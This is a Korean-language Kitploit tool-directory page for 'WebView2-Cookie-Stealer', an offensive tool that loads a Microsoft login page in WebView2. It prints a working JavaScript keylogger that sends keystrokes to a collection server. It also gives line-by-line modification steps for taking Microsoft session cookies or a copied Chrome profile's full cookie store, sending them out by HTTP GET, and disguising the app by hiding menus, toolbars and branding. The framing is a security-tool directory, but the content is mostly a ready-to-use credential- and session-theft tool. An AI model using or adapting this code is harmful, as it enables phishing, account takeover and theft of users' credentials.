Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WebView2-Cookie-Stealer — WebView2 페이지에 JavaScript 키로거를 주입하여 키 입력을 캡처하고 Microsoft 인증 세션으로부터 쿠키를 HTTP GET 요청을 통해 유출합니다. | Kitploit
도구/GitHubGitHub/mrd0x/webview2-cookie-stealer
Password AttacksWeb Application ExploitationData ExfiltrationInformation GatheringPhishing
GitHubmrd0x/webview2-cookie-stealer

WebView2-Cookie-Stealer

WebView2 페이지에 JavaScript 키로거를 주입하여 키 입력을 캡처하고 Microsoft 인증 세션으로부터 쿠키를 HTTP GET 요청을 통해 유출합니다.

저장소 보기
266584년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

블로그 포스트

자세한 내용은 이 블로그 포스트를 읽어주세요.

소스 코드

이 코드는 Microsoft의 WebView2 코드의 수정된 버전입니다. 현재 코드는 정리하고 더 좋게 만들 수 있습니다.

데모

실행 예제

사용 예제

사용법

Windows 10 및 11에서 테스트 완료.

바이너리가 실행되면 https://office.com/login이 로드됩니다. JavaScript 키로거가 모든 페이지에 주입되고 키 입력이 http://127.0.0.1:8080로 전송됩니다. 또한 사용자가 성공적으로 인증하면 login.microsoftonline.com의 쿠키가 base64로 인코딩되어 HTTP GET 요청을 통해 http://127.0.0.1:8080로 전송됩니다.

JavaScript 수정

JavaScript를 수정하려면 AppWindow.cpp의 1096행에 표시된 코드를 변경해야 합니다.

root@kitploit:~
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);

Chrome 쿠키 탈취

WebView2를 사용하면 새 사용자 데이터 폴더(UDF)를 생성하는 대신 기존 UDF로 시작할 수 있습니다. UDF에는 모든 비밀번호, 세션, 북마크 등이 포함됩니다. Chrome의 UDF는 C:\Users\<username>\AppData\Local\Google\Chrome\User Data에 있습니다. 간단히 WebView2에게 이 프로필을 사용하여 인스턴스를 시작하도록 지시하고, 시작 시 모든 쿠키를 추출하여 공격자의 서버로 전송할 수 있습니다.

유일한 문제는 WebView2가 User Data 대신 EBWebView라는 폴더를 찾는다는 것입니다(이유는 불명). User Data 폴더를 복사하여 이름을 EBWebView로 변경하세요.

필요한 변경 사항

  • app.cpp의 41행:

    • std::wstring userDataFolder(L"");를 std::wstring userDataFolder(L"C:\\Path\\To\\Temp");로 변경합니다.
    • 지정된 폴더에는 WebView2가 읽어올 EBWebView 폴더가 포함되어 있어야 합니다.
  • ScenarioCookieManagement.cpp의 40행:

    • GetCookiesHelper(L"https://login.microsoftonline.com");를 GetCookiesHelper(L"");로 변경합니다.

GetCookiesHelper가 웹사이트 없이 호출되면 모든 쿠키를 추출합니다.

참고: 현재 애플리케이션은 길이 제한이 있는 GET 요청을 사용하여 쿠키를 전송하므로, 쿠키가 많으면 작동하지 않습니다.

중요 함수

바이너리를 수정하려면, 아래에 중요한 함수에 대한 정보가 있습니다.

  • AppStartPage.cpp - GetUri() 함수는 바이너리 실행 시 로드되는 URL을 포함합니다.
  • ScenarioCookieManagement.cpp - SendCookies() 함수는 쿠키가 전송되는 IP 주소와 포트를 포함합니다.
  • AppWindow.cpp - CallCookieFunction() 함수는 URL이 https://www.office.com/?auth=로 시작할 때까지 기다렸다가 ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")를 호출합니다.
  • WebView2APISample.rc - 외형 변경
    • 모든 POPUP 값을 ""로 설정하여 메뉴 바를 제거합니다.
    • IDS_APP_TITLE 및 IDC_WEBVIEW2APISAMPLE을 변경합니다. 이는 제목 표시줄의 애플리케이션 이름입니다.
    • IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE, IDI_SMALL을 변경합니다. 이는 이 애플리케이션의 아이콘인 파일을 가리킵니다.
도구 다운로드
.ico
  • Toolbar.cpp - 상단 메뉴를 제거하려면 itemHeight를 0으로 설정해야 합니다. 이 코드에서는 이미 처리되었습니다.
  • AppWindow.cpp - LoadImage()는 주석 처리되어야 합니다. 이렇게 하면 파란 시작 화면 이미지가 숨겨집니다. 이 코드에서는 이미 처리되었습니다.
  • App.cpp - new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); 마지막 매개변수 값을 true로 변경합니다. 이렇게 하면 툴바가 숨겨집니다. 이 코드에서는 이미 처리되었습니다.